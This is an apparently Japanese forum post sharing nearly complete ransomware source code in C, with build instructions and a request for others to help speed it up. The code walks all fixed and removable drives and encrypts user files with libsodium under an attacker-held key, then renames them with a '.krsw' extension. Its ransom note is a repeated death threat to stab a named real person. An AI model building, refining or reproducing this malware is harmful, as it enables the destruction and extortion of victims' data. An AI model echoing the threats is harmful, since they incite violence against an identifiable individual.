カランサムウェアのソースコード
実際に動くやつ。リングバッファとロックフリーのマルチスレッドでこれが一番速いと思います。
多分部分的な暗号化とチャンク、ハードウェアアクセラレーション使ったほうが速いと思うんだけどどう、(実装)出そう?
- /*
- 恒心教徒用カランサムウェア alpha.0.1.0
- ToDo:
- - 脅迫文を配置する
- - decryptor作る
- - 二重暗号化(破損する)の対策を拡張子以外で行う
- - WinAPIの手動解決
- - 難読化
- ビルド方法
- VMを用意する
- 以下からMSVCのビルドツールをインストール
- https://visualstudio.microsoft.com/downloads/?q=build+tools
- 以下からlibsodium(暗号ライブラリ)をダウンロード、Cドライブに展開
- https://download.libsodium.org/libsodium/releases/
- -msvc.zipの最新版を取ってくること
- libsodiumは以下の形で展開
- C:\libsodium
- \include\sodium.h
- \lib\x64\Release\v143\static\libsodium.lib
- 重要なのはsodium.hとlibsodium.lib
- FIXME以下のコードをアンコメント
- このファイルのある場所でVisual Studio Developer Consoleを開く
- cl /std:c11 /O2 /MT main.c /I"C:\libsodium\include" /link /LIBPATH:"C:\libsodium\lib\x64\Release\v143\static" libsodium.lib libcmt.lib libvcruntime.lib libucrt.lib
- を実行
- 多分ビルドできる
- 改造したいときは下の
- EXTENTIONで暗号化後の拡張子変更
- RANSOM_NOTEで脅迫文変更(改行は\n)
- PUBLIC_KEYに新しく作ったECC公開鍵を入れる(32バイト)
- */
- #define EXTENTION L".krsw"
- static const unsigned char RANSOM_NOTE[] =
- "唐澤貴洋殺す\n"
- "何が何でも殺す\n"
- "ナイフで滅多刺しにして殺す\n";
- #include <sodium.h>
- static const unsigned char PUBLIC_KEY[crypto_scalarmult_BYTES] = {
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
- };
- #define _CRT_SECURE_NO_WARNINGS
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdbool.h>
- #define MAX_PATH_LEN 32768
- #define BUFFER_SIZE 1024
- #define MAX_FILE_SIZE (100 * 1024 * 1024)
- #define STACK_SIZE (8 * 1024 * 1024)
- static const size_t RANSOM_SIZE = sizeof(RANSOM_NOTE) - 1;
- unsigned char SHARED_KEY[crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
- unsigned char VICTIM_PUBLIC_KEY[crypto_scalarmult_BYTES];
- struct RingBuffer {
- wchar_t paths[BUFFER_SIZE][MAX_PATH_LEN];
- volatile LONG64 head;
- volatile LONG64 tail;
- volatile LONG64 count;
- volatile LONG finished;
- };
- void buffer_init(struct RingBuffer* buf) {
- buf->head = buf->tail = buf->count = buf->finished = 0;
- }
- bool buffer_push(struct RingBuffer* buf, const wchar_t* path) {
- if (InterlockedCompareExchange64(&buf->count, 0, 0) >= BUFFER_SIZE) {
- return false;
- }
- LONG64 head, next;
- do {
- head = InterlockedCompareExchange64(&buf->head, 0, 0);
- next = (head + 1) % BUFFER_SIZE;
- } while (InterlockedCompareExchange64(&buf->head, next, head) != head);
- wcsncpy(buf->paths[head], path, MAX_PATH_LEN - 1);
- buf->paths[head][MAX_PATH_LEN - 1] = L'\0';
- InterlockedIncrement64(&buf->count);
- return true;
- }
- bool buffer_pop(struct RingBuffer* buf, wchar_t* path) {
- if (InterlockedCompareExchange64(&buf->count, 0, 0) == 0) {
- return false;
- }
- LONG64 tail, next;
- do {
- tail = InterlockedCompareExchange64(&buf->tail, 0, 0);
- next = (tail + 1) % BUFFER_SIZE;
- } while (InterlockedCompareExchange64(&buf->tail, next, tail) != tail);
- wcsncpy(path, buf->paths[tail], MAX_PATH_LEN);
- InterlockedDecrement64(&buf->count);
- return true;
- }
- bool buffer_is_done(struct RingBuffer* buf) {
- return InterlockedCompareExchange(&buf->finished, 0, 0) &&
- InterlockedCompareExchange64(&buf->count, 0, 0) == 0;
- }
- bool should_skip_directory_w(const wchar_t* path) {
- static const wchar_t* patterns[] = {
- L"Windows",
- L"Program Files",
- L"Program Files (x86)",
- L"ProgramData",
- L"All Users"
- L"$Recycle.Bin",
- L"System Volume Information",
- L"Recovery",
- L"Boot",
- L"EFI",
- L"AppData",
- NULL
- };
- for (int i = 0; patterns[i]; i++) {
- if (wcsstr(path, patterns[i])) return true;
- }
- return false;
- }
- bool should_skip_file_w(const wchar_t* path) {
- static const wchar_t* exts[] = {
- EXTENTION,
- L".exe", L".dll", L".sys", L".efi", L".drv", L".ocx", L".scr", L".cpl",
- L".msi", L".msp", L".msu", L".cab", L".inf", L".cat", L".mui",
- L".ini", L".cfg", L".config", L".dat", NULL
- };
- static const wchar_t* files[] = {
- L"HOW_TO_RECOVER_MY_FILES.txt",
- L"bootmgr",
- L"NTLDR",
- L"boot.ini",
- L"ntoskrnl.exe",
- L"bootsect.bak", NULL
- };
- wchar_t* ext = wcsrchr(path, L'.');
- if (ext) {
- for (int i = 0; exts[i]; i++) {
- if (_wcsicmp(ext, exts[i]) == 0) return true;
- }
- }
- wchar_t* filename = wcsrchr(path, L'\\');
- filename = filename ? filename + 1 : (wchar_t*)path;
- for (int i = 0; files[i]; i++) {
- if (_wcsicmp(filename, files[i]) == 0) {
- return true;
- }
- }
- return false;
- }
- void enumerate_directory(struct RingBuffer* buf, const wchar_t* path, int depth) {
- if (depth > 50 || should_skip_directory_w(path)) {
- return;
- }
- wchar_t *search = malloc(MAX_PATH_LEN * sizeof(wchar_t));
- wchar_t *full = malloc(MAX_PATH_LEN * sizeof(wchar_t));
- if (!search || !full) {
- free(search); free(full);
- return;
- }
- if (swprintf(search, MAX_PATH_LEN, L"%s\\*", path) < 0) {
- goto cleanup;
- }
- WIN32_FIND_DATAW fd;
- HANDLE h = FindFirstFileW(search, &fd);
- if (h == INVALID_HANDLE_VALUE) goto cleanup;
- do {
- if (!wcscmp(fd.cFileName, L".") || !wcscmp(fd.cFileName, L"..")) {
- continue;
- }
- if (fd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) {
- continue;
- }
- if (swprintf(full, MAX_PATH_LEN, L"%s\\%s", path, fd.cFileName) < 0) {
- continue;
- }
- if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
- if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM) && !should_skip_directory_w(full)) {
- enumerate_directory(buf, full, depth + 1);
- }
- } else {
- if (!should_skip_file_w(full)) {
- while (!buffer_push(buf, full)) Sleep(1);
- }
- }
- } while (FindNextFileW(h, &fd));
- FindClose(h);
- cleanup:
- free(search); free(full);
- }
- DWORD WINAPI enumerate_thread(LPVOID param) {
- struct RingBuffer* buf = param;
- DWORD drives = GetLogicalDrives();
- for (int i = 0; i < 26; i++) {
- if (drives & (1 << i)) {
- wchar_t drive[4];
- swprintf(drive, 4, L"%c:\\", L'A' + i);
- UINT type = GetDriveTypeW(drive);
- if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
- enumerate_directory(buf, drive, 0);
- }
- }
- }
- InterlockedExchange(&buf->finished, 1);
- return 0;
- }
- void encrypt_file(const wchar_t* wpath) {
- if (should_skip_file_w(wpath)) {
- return;
- }
- char path[MAX_PATH_LEN];
- if (!WideCharToMultiByte(CP_UTF8, 0, wpath, -1, path, MAX_PATH_LEN, NULL, NULL)) {
- return;
- }
- FILE* f = fopen(path, "rb");
- if (!f) {
- return;
- }
- fseek(f, 0, SEEK_END);
- long size = ftell(f);
- fseek(f, 0, SEEK_SET);
- if (size <= 0 || size > MAX_FILE_SIZE) {
- fclose(f);
- return;
- }
- unsigned char *plain = malloc(size);
- unsigned char *cipher = malloc(size + crypto_aead_xchacha20poly1305_ietf_ABYTES);
- if (!plain || !cipher) {
- free(plain); free(cipher);
- fclose(f);
- return;
- }
- if (fread(plain, 1, size, f) != size) {
- free(plain); free(cipher);
- fclose(f);
- return;
- }
- fclose(f);
- unsigned char nonce[crypto_aead_xchacha20poly1305_ietf_NPUBBYTES];
- randombytes_buf(nonce, sizeof(nonce));
- unsigned long long clen;
- crypto_aead_xchacha20poly1305_ietf_encrypt(cipher, &clen, plain, size, NULL, 0, NULL, nonce, SHARED_KEY);
- unsigned char ekey[crypto_box_SEALBYTES + crypto_aead_xchacha20poly1305_ietf_KEYBYTES];
- crypto_box_seal(ekey, SHARED_KEY, sizeof(SHARED_KEY), PUBLIC_KEY);
- f = fopen(path, "wb");
- if (f) {
- fwrite(cipher, 1, clen, f);
- fwrite(nonce, 1, sizeof(nonce), f);
- fwrite(VICTIM_PUBLIC_KEY, 1, crypto_scalarmult_BYTES, f);
- fwrite(ekey, 1, sizeof(ekey), f);
- fclose(f);
- wchar_t enc[MAX_PATH_LEN];
- swprintf(enc, MAX_PATH_LEN, L"%s%s", wpath, EXTENTION);
- MoveFileW(wpath, enc);
- }
- free(plain); free(cipher);
- }
- DWORD WINAPI encrypt_thread(LPVOID param) {
- struct RingBuffer* buf = param;
- wchar_t path[MAX_PATH_LEN];
- while (1) {
- if (buffer_pop(buf, path)) {
- encrypt_file(path);
- } else if (buffer_is_done(buf)) {
- break;
- } else {
- Sleep(1);
- }
- }
- return 0;
- }
- int main(void) {
- if (sodium_init() < 0) return 1;
- unsigned char secret[crypto_scalarmult_BYTES];
- randombytes_buf(secret, sizeof(secret));
- crypto_scalarmult_base(VICTIM_PUBLIC_KEY, secret);
- unsigned char shared[crypto_scalarmult_BYTES];
- if (crypto_scalarmult(shared, secret, PUBLIC_KEY) != 0) return 1;
- crypto_generichash(SHARED_KEY, sizeof(SHARED_KEY), shared, sizeof(shared), NULL, 0);
- SYSTEM_INFO si;
- GetSystemInfo(&si);
- struct RingBuffer* buf = malloc(sizeof(struct RingBuffer));
- if (!buf) {
- return 1;
- }
- buffer_init(buf);
- HANDLE et = CreateThread(NULL, STACK_SIZE, enumerate_thread, buf, 0, NULL);
- if (!et) {
- free(buf);
- return 1;
- }
- HANDLE* ht = malloc(sizeof(HANDLE) * si.dwNumberOfProcessors);
- if (!ht) {
- CloseHandle(et);
- free(buf);
- return 1;
- }
- for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
- ht[i] = CreateThread(NULL, 0, encrypt_thread, buf, 0, NULL);
- }
- WaitForMultipleObjects(si.dwNumberOfProcessors, ht, TRUE, INFINITE);
- WaitForSingleObject(et, INFINITE);
- CloseHandle(et);
- for (DWORD i = 0; i < si.dwNumberOfProcessors; i++) {
- CloseHandle(ht[i]);
- }
- free(ht);
- free(buf);
- return 0;
- }